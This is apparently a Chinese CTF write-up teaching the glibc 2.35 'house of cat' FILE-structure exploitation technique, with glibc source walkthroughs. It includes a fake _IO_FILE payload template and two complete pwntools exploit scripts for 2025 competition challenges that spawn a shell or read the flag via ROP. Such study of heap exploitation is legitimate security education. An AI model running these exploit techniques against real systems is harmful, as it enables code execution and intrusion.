0x00 湾区杯被堆题斩于马下,赛后找到powchan的exp,利用堆风水打house of cat,并且相比于板子,更特殊的点就是打stdout并修改mode为**-1**,不需要__malloc_assert、exit或者是fflush来触发。另一个题解则是打libc-got 姑且先学习一下常规的house of cat 参考博客
本文贴出源码无特别提及皆为glibc2.35
0x01 __malloc_assert 正常情况下,glibc 的断言失败会走 __assert_fail(在 <assert.h> 里定义)。而在 malloc 的时候,它单独定义了一个版本,走 __malloc_assert,这样方便在 malloc 相关的代码里触发断言时输出更有针对性的错误信息 在malloc时遇到分配错误则会触发断言,malloc.c做了如下映射(glibc2.35)
1 2 # define __assert_fail(assertion, file, line , function) \ __malloc_assert(assertion, file, line , function)
而__malloc_assert实现如下
1 2 3 4 5 6 7 8 9 10 11 12 static void __malloc_assert (const char *assertion, const char *file, unsigned int line, const char *function) { (void ) __fxprintf (NULL , "%s%s%s:%u: %s%sAssertion `%s' failed.\n" , __progname, __progname[0 ] ? ": " : "" , file, line, function ? function : "" , function ? ": " : "" , assertion); fflush (stderr ); abort (); }
先看__fxprintf,我们找到
1 2 3 4 5 6 7 8 9 int __fxprintf (FILE *fp, const char *fmt, ...) { va_list ap; va_start (ap, fmt); int res = __vfxprintf (fp, fmt, ap, 0 ); va_end (ap); return res; }
1 2 3 4 5 6 7 8 9 10 11 int __vfxprintf (FILE *fp, const char *fmt, va_list ap, unsigned int mode_flags) { if (fp == NULL ) fp = stderr ; _IO_flockfile (fp); int res = locked_vfxprintf (fp, fmt, ap, mode_flags); _IO_funlockfile (fp); return res; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 static int locked_vfxprintf (FILE *fp, const char *fmt, va_list ap, unsigned int mode_flags) { if (_IO_fwide (fp, 0 ) <= 0 ) return __vfprintf_internal (fp, fmt, ap, mode_flags); wchar_t *wfmt; mbstate_t mbstate; int res; int used_malloc = 0 ; size_t len = strlen (fmt) + 1 ; if (__glibc_unlikely (len > SIZE_MAX / sizeof (wchar_t ))) { __set_errno (EOVERFLOW); return -1 ; } if (__libc_use_alloca (len * sizeof (wchar_t ))) wfmt = alloca (len * sizeof (wchar_t )); else if ((wfmt = malloc (len * sizeof (wchar_t ))) == NULL ) return -1 ; else used_malloc = 1 ; memset (&mbstate, 0 , sizeof mbstate); res = __mbsrtowcs (wfmt, &fmt, len, &mbstate); if (res != -1 ) res = __vfwprintf_internal (fp, wfmt, ap, mode_flags); if (used_malloc) free (wfmt); return res; }
有这样的调用链
1 __malloc_assert => __fxprintf => __vfxprintf => locked_vfxprintf => __vfprintf_internal => _IO_file_xsputn
这个__vfprintf_internal就是printf的内部实现 这里printf调用_IO_file_xputn其实就是调用vtable函数来调用的 而后面的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 int _IO_fflush (FILE *fp) { if (fp == NULL ) return _IO_flush_all (); else { int result; CHECK_FILE (fp, EOF); _IO_acquire_lock (fp); result = _IO_SYNC (fp) ? EOF : 0 ; _IO_release_lock (fp); return result; } }
fflush也会调用vtable中的函数 _IO_file_sync (vtable + 0x60),
1 __malloc_assert => fflush(stderr) => _IO_file_sync (_IO_new_file_sync)
正是这两条调用链的存在,__malloc_assert可以用于触发 IO 攻击 如何触发呢?
最常用的就是修改topchunk的size
0x02 虚表偏移 此前 分析过glibc2.24及以后的vtable检查,这个检查并不是太严格,只需要在__libc_IO_vatables中即可,这一区域不仅仅只有_IO_file_jumps这一个虚表,同时偏移也是我们可以控制的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 const struct _IO_jump_t _IO_wfile_jumps libio_vtable ={ JUMP_INIT_DUMMY, JUMP_INIT(finish, _IO_new_file_finish), JUMP_INIT(overflow, (_IO_overflow_t) _IO_wfile_overflow), JUMP_INIT(underflow, (_IO_underflow_t) _IO_wfile_underflow), JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow), JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wdefault_pbackfail), JUMP_INIT(xsputn, _IO_wfile_xsputn), JUMP_INIT(xsgetn, _IO_file_xsgetn), JUMP_INIT(seekoff, _IO_wfile_seekoff), JUMP_INIT(seekpos, _IO_default_seekpos), JUMP_INIT(setbuf, _IO_new_file_setbuf), JUMP_INIT(sync, (_IO_sync_t) _IO_wfile_sync), JUMP_INIT(doallocate, _IO_wfile_doallocate), JUMP_INIT(read, _IO_file_read), JUMP_INIT(write, _IO_new_file_write), JUMP_INIT(seek, _IO_file_seek), JUMP_INIT(close, _IO_file_close), JUMP_INIT(stat, _IO_file_stat), JUMP_INIT(showmanyc, _IO_default_showmanyc), JUMP_INIT(imbue, _IO_default_imbue) }; libc_hidden_data_def (_IO_wfile_jumps)
以此为例,假设我们一直一条调用链可以调用vtable中的overflow,我们看到偏移为vtable + 0x10,而如果我们修改vtable为vtable + 0x30,那么原先对overflow的调用就会调用到(vtable + 0x30) + 0x10,根据偏移就会调用到seekoff
0x03 house of cat 原理 前文叙述了__malloc_assert触发后的调用链(通过exit触发也可以,总之找到一个触发 IO 链的方法),我们更换虚表为_IO_wfile_jumps,再通过虚表偏移,使调用的虚表函数变为seekoff,其定义如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 off64_t _IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode) { off64_t result; off64_t delta, new_offset; long int count; if (mode == 0 ) return do_ftell_wide (fp); int must_be_exact = ((fp->_wide_data->_IO_read_base == fp->_wide_data->_IO_read_end) && (fp->_wide_data->_IO_write_base == fp->_wide_data->_IO_write_ptr)); bool was_writing = ((fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base) || _IO_in_put_mode (fp)); if (was_writing && _IO_switch_to_wget_mode (fp)) return WEOF; ... } libc_hidden_def (_IO_wfile_seekoff)
无关攻击的部分省去,我们需要的是这里调用_IO_switch_to_wget_mode函数,要满足fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base 其定义如下,同样要满足fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
1 2 3 4 5 6 7 8 9 10 int _IO_switch_to_wget_mode (FILE *fp) { if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base) if ((wint_t )_IO_WOVERFLOW (fp, WEOF) == WEOF) return EOF; ... return 0 ; } libc_hidden_def (_IO_switch_to_wget_mode)
我们只关心最前面几行,调用_IO_WOVERFLOW的部分
1 #define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH)
这个_IO_WOVERFLOW (fp, WEOF)函数是由_IO_FILE_plus结构体的_wide_data字段所指向的_IO_wide_data结构体的_wide_vtable字段所指向的虚表中的函数(这个攻击点和house of apple2是一致的)。在调用_wide_vtable中的函数时_IO_vtable_check并没有检查虚表地址的合法性。 而_IO_WOVERFLOW正是_wide_vtable指向虚表偏移0x18处的函数(_wide_vtable字段相对_wide_data偏移为0xe0)
1 2 3 4 5 6 7 8 9 10 11 0x7f4cae745d30 <_IO_switch_to_wget_mode> endbr64 0x7f4cae745d34 <_IO_switch_to_wget_mode+4> mov rax, qword ptr [rdi + 0xa0] 0x7f4cae745d3b <_IO_switch_to_wget_mode+11> push rbx 0x7f4cae745d3c <_IO_switch_to_wget_mode+12> mov rbx, rdi 0x7f4cae745d3f <_IO_switch_to_wget_mode+15> mov rdx, qword ptr [rax + 0x20] 0x7f4cae745d43 <_IO_switch_to_wget_mode+19> cmp rdx, qword ptr [rax + 0x18] 0x7f4cae745d47 <_IO_switch_to_wget_mode+23> jbe _IO_switch_to_wget_mode+56 <_IO_switch_to_wget_mode+56> 0x7f4cae745d49 <_IO_switch_to_wget_mode+25> mov rax, qword ptr [rax + 0xe0] 0x7f4cae745d50 <_IO_switch_to_wget_mode+32> mov esi, 0xffffffff 0x7f4cae745d55 <_IO_switch_to_wget_mode+37> call qword ptr [rax + 0x18]
可以看到这段汇编里(glibc2.35),rdi就是传入的_IO_FILE_plus结构体,[rdi+0xa0]正是fp->_wide_data 我们可以发现这里我们可以控制到rdx寄存器,那么也就可以打setcontext+61来进行ROP,见另一篇 ,以及0x06例子 到这里攻击手法就浮出水面了
0x04 house of cat 攻击手法 总结一下上面的原理,我们需要绕过
1 2 fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base fp->_lock是一个可写地址(堆地址、libc中的可写地址)
然后布置
1 2 3 fp->_wide_data->_wide_vtable->_IO_WOVERFLOW = call_addr # 如果要控制rdx rdx = fp->_wide_data->_IO_write_ptr
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 struct _IO_wide_data { wchar_t *_IO_read_ptr; wchar_t *_IO_read_end; wchar_t *_IO_read_base; wchar_t *_IO_write_base; wchar_t *_IO_write_ptr; wchar_t *_IO_write_end; wchar_t *_IO_buf_base; wchar_t *_IO_buf_end; wchar_t *_IO_save_base; wchar_t *_IO_backup_base; wchar_t *_IO_save_end; __mbstate_t _IO_state; __mbstate_t _IO_last_state; struct _IO_codecvt _codecvt ; const struct _IO_jump_t *_wide_vtable ; };
以下是__malloc_assert触发的攻击示例
1 2 3 4 5 6 7 8 9 10 fake_IO_addr = '' fake_IO = b'sh' fake_IO = fake_IO.ljust(0x30 + 0x20 , b'\x00' ) + p64(rdx) fake_IO = fake_IO.ljust(0x40 + 0x18 , b'\x00' ) + p64(call_addr) fake_IO = fake_IO.ljust(0x68 , b'\x00' ) + p64(0 ) fake_IO = fake_IO.ljust(0x88 , b'\x00' ) + p64(writable_addr) fake_IO = fake_IO.ljust(0xa0 , b'\x00' ) + p64(fake_IO_addr + 0x30 ) fake_IO = fake_IO.ljust(0xc0 , b'\x00' ) + p64(1 ) fake_IO = fake_IO.ljust(0xd8 , b'\x00' ) + p64(libc_base + libc.sym["_IO_wfile_jumps" ] + 0x10 ) fake_IO = fake_IO.ljust(0x30 + 0xe0 , b'\x00' ) + p64(fake_IO_addr + 0x40 )
如果用_IO_cleanup触发的话(也就是打FSOP),vtable调用的是overflow,我们需要修改虚表偏移,修改为libc_base + libc.sym["_IO_wfile_jumps"] + 0x30,且要求rcx不为0 然而打FSOP的情况,还是直接打house of apple吧
0x05 湾区杯2025 digtal_bomb 利用off-by-null打house of cat
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 from pwn import *context(os='linux' , arch='amd64' , log_level='debug' ) filename = "digtal_bomb_patched" libcname = "/home/r3t2/.config/cpwn/pkgs/2.35-0ubuntu3.10/amd64/libc6_2.35-0ubuntu3.10_amd64/lib/x86_64-linux-gnu/libc.so.6" host = "127.0.0.1" port = 1337 elf = context.binary = ELF(filename) if libcname: libc = ELF(libcname) gs = ''' b *$rebase(0x19d6) set debug-file-directory /home/r3t2/.config/cpwn/pkgs/2.35-0ubuntu3.10/amd64/libc6-dbg_2.35-0ubuntu3.10_amd64/usr/lib/debug set directories /home/r3t2/.config/cpwn/pkgs/2.35-0ubuntu3.10/amd64/glibc-source_2.35-0ubuntu3.10_all/usr/src/glibc/glibc-2.35 ''' def start (): if args.P: return process(elf.path) elif args.R: return remote(host, port) else : return gdb.debug(elf.path, gdbscript = gs) def bomb (): io.recvuntil(b': ' ) io.sendline(b'0' ) io.recvuntil(b': ' ) io.sendline(b'1' ) io.recvuntil(b'guess :' ) io.sendline(b'1' ) io = start() bomb() menu = b'>>' def new (idx, size, data = b"deadbeef" ): io.recvuntil(menu) io.sendline(b'1' ) io.recvuntil(menu) io.sendline(str (idx)) io.recvuntil(menu) io.sendline(str (size)) io.send(data) def free (idx ): io.recvuntil(menu) io.sendline(b'2' ) io.recvuntil(menu) io.sendline(str (idx)) def show (idx ): io.recvuntil(menu) io.sendline(b'3' ) io.recvuntil(menu) io.sendline(str (idx)) def edit (idx, data ): io.recvuntil(menu) io.sendline(b'666' ) io.recvuntil(menu) io.sendline(str (idx)) io.send(data) new(0 , 0x410 ) new(1 , 0x100 ) new(2 , 0x430 ) new(3 , 0x430 ) new(4 , 0x100 ) new(5 , 0x480 ) new(6 , 0x420 ) new(7 , 0x100 ) free(0 ) free(3 ) free(6 ) free(2 ) new(0 , 0x450 , b'a' *0x438 +p16(0x551 )) new(2 , 0x410 ) new(3 , 0x420 ) new(6 , 0x410 ) free(6 ) free(2 ) new(2 , 0x410 ) new(6 , 0x410 ) free(6 ) free(3 ) free(5 ) new(3 , 0x4f0 , b"a" *0x488 + p64(0x431 )) new(5 , 0x3b0 ) free(4 ) new(4 , 0x108 , b"a" *0x100 + p64(0x550 )) new(6 , 0x410 ) free(3 ) new(3 , 0x18 ) show(6 ) io.recvuntil(b":\n" ) libc_base = u64(io.recvn(6 ).ljust(8 ,b'\x00' )) - 0x1ebbe0 - 0x2f100 log.success("libc_base --> " +hex (libc_base)) new(8 , 0x3f0 ) new(9 , 0x60 , b'a' * 0x18 + p64(0x91 )) new(10 , 0x3f0 ) free(6 ) show(8 ) io.recvuntil(":\n" ) heap_base= (u64(io.recv(5 ).ljust(8 , b'\x00' )) << 12 ) log.success("heap_base --> " +hex (heap_base)) stdout = libc.sym['_IO_2_1_stdout_' ] + libc_base free(4 ) free(10 ) new(10 ,0x80 , b'a' * 0x48 + p64(0x401 ) + p64((heap_base+0x10a0 )>>12 ^stdout)) fake_IO_addr = stdout fake_IO = b'sh' fake_IO = fake_IO.ljust(0x30 + 0x20 , b'\x00' ) + p64(fake_IO_addr + 0x120 ) fake_IO = fake_IO.ljust(0x40 + 0x18 , b'\x00' ) + p64(libc_base + libc.sym["system" ]) fake_IO = fake_IO.ljust(0x68 , b'\x00' ) + p64(0 ) fake_IO = fake_IO.ljust(0x88 , b'\x00' ) + p64(fake_IO_addr + 0x120 ) fake_IO = fake_IO.ljust(0xa0 , b'\x00' ) + p64(fake_IO_addr + 0x30 ) fake_IO = fake_IO.ljust(0xc0 , b'\x00' ) + p32(0xffffffff ) fake_IO = fake_IO.ljust(0xd8 , b'\x00' ) + p64(libc_base + libc.sym["_IO_wfile_jumps" ] + 0x10 ) fake_IO = fake_IO.ljust(0x30 + 0xe0 , b'\x00' ) + p64(fake_IO_addr + 0x40 ) new(4 , 0x3f0 ) new(6 , 0x3f0 , fake_IO) io.interactive()
0x06 强网杯2025 bph 任意地址写\x00,写stdin的_IO_buf_base实现改写stdin,再修改_IO_buf_base和_IO_buf_end实现任意地址写,最后结合setcontext打ROP exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 from pwn import *context(os='linux' , arch='amd64' , log_level='debug' ) filename = "pwn_patched" libcname = "/home/r3t2/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/libc6_2.39-0ubuntu8.6_amd64/usr/lib/x86_64-linux-gnu/libc.so.6" host = "127.0.0.1" port = 1337 elf = context.binary = ELF(filename) if libcname: libc = ELF(libcname) gs = ''' b *$rebase(0x1810) set debug-file-directory /home/r3t2/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/libc6-dbg_2.39-0ubuntu8.6_amd64/usr/lib/debug set directories /home/r3t2/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/glibc-source_2.39-0ubuntu8.6_all/usr/src/glibc/glibc-2.39 ''' def start (): if args.P: return process(elf.path) elif args.R: return remote(host, port) else : return gdb.debug(elf.path, gdbscript = gs) io = start() io.recvuntil(b'token: ' ) io.send(b'a' *0x28 ) io.recvuntil(b'a' *0x28 ) leak_addr = u64(io.recv(6 ).ljust(8 , b'\x00' )) libc_base = leak_addr - 0xaddae log.info("libc_base --> " +hex (libc_base)) target = libc_base + libc.sym['_IO_2_1_stdin_' ] + 7 *8 + 1 io.sendlineafter(b'Choice:' , b'1' ) io.sendlineafter(b'Size:' , str (target).encode()) io.sendlineafter(b'Content:' , b'' ) stdout = libc_base + libc.sym['_IO_2_1_stdout_' ] io.sendafter(b"Choice:" , b'a' *0x18 + p64(stdout)+ p64(stdout + 0x1000 )) pop_rdi_ret = libc_base + 0x10f78b ret = pop_rdi_ret + 1 fake_IO_addr = stdout fake_IO = b'./flag' fake_IO = fake_IO.ljust(0x30 + 0x20 , b'\x00' ) + p64(fake_IO_addr + 0x10 ) fake_IO = fake_IO.ljust(0x40 + 0x18 , b'\x00' ) + p64(libc_base + libc.sym['setcontext' ] + 61 ) fake_IO = fake_IO.ljust(0x68 , b'\x00' ) + p64(0 ) fake_IO = fake_IO.ljust(0x88 , b'\x00' ) + p64(libc_base + 0x205710 ) fake_IO = fake_IO.ljust(0xa0 , b'\x00' ) + p64(fake_IO_addr + 0x30 ) fake_IO = fake_IO.ljust(0x10 + 0xa0 , b'\x00' ) + p64(fake_IO_addr + 0x118 ) + p64(ret) fake_IO = fake_IO.ljust(0xc0 , b'\x00' ) + p32(0xffffffff ) fake_IO = fake_IO.ljust(0xd8 , b'\x00' ) + p64(libc_base + libc.sym["_IO_wfile_jumps" ] + 0x10 ) fake_IO = fake_IO.ljust(0x30 + 0xe0 , b'\x00' ) + p64(fake_IO_addr + 0x40 ) open_addr = libc_base + libc.sym['open' ] read_addr = libc_base + libc.sym['read' ] write_addr = libc_base + libc.sym['write' ] pop_rsi_ret = libc_base + 0x110a7d pop_rdx_ret = libc_base + 0xab8a1 pop_rcx_ret = libc_base + 0xa877e set_rdx = p64(pop_rcx_ret) + p64(stdout + 0x2100 ) + p64(pop_rdx_ret) + p64(0x100 ) ropchain = p64(pop_rdi_ret) + p64(fake_IO_addr) + p64(open_addr) +\ p64(pop_rdi_ret) + p64(3 ) + p64(pop_rsi_ret) + p64(stdout + 0x2000 ) + set_rdx + p64(read_addr) +\ p64(pop_rdi_ret) + p64(2 ) + p64(pop_rsi_ret) + p64(stdout + 0x2000 ) + p64(write_addr) io.sendafter(b'Choice:' , fake_IO + ropchain) io.interactive()